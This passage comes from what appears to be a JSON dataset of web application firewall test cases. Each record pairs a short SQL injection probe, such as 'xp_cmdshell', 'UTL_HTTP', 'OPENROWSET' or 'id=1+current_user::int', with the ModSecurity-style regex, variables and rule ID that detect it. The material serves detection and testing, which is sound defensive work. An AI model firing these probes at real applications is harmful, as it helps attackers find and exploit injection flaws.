:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=version%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=xmltype%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=XMLType%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=year%5D%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=nvarchar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=xp_cmdshell" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=varchar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=xp_dirtree" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=xp_regread" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=sp_password" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=UTL_HTTP" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=OPENROWSET" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=sp_executesql" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sp_executesql" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)autonomous_transaction|(?:current_use|n?varcha|tbcreato)r|db(?:a_users|ms_java)|open(?:owa_util|query|rowset)|s(?:p_(?:(?:addextendedpro|sqlexe)c|execute(?:sql)?|help|is_srvrolemember|makewebtask|oacreate|p(?:assword|repare)|replwritetovarbin)|ql_(?:longvarchar|variant))|utl_(?:file|http)|xp_(?:availablemedia|(?:cmdshel|servicecontro)l|dirtree|e(?:numdsn|xecresultset)|filelist|loginconfig|makecab|ntsec(?:_enumdomains)?|reg(?:addmultistring|delete(?:key|value)|enum(?:key|value)s|re(?:ad|movemultistring)|write)|terminate(?:_process)?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942470", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=1%2bcurrent_user::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { 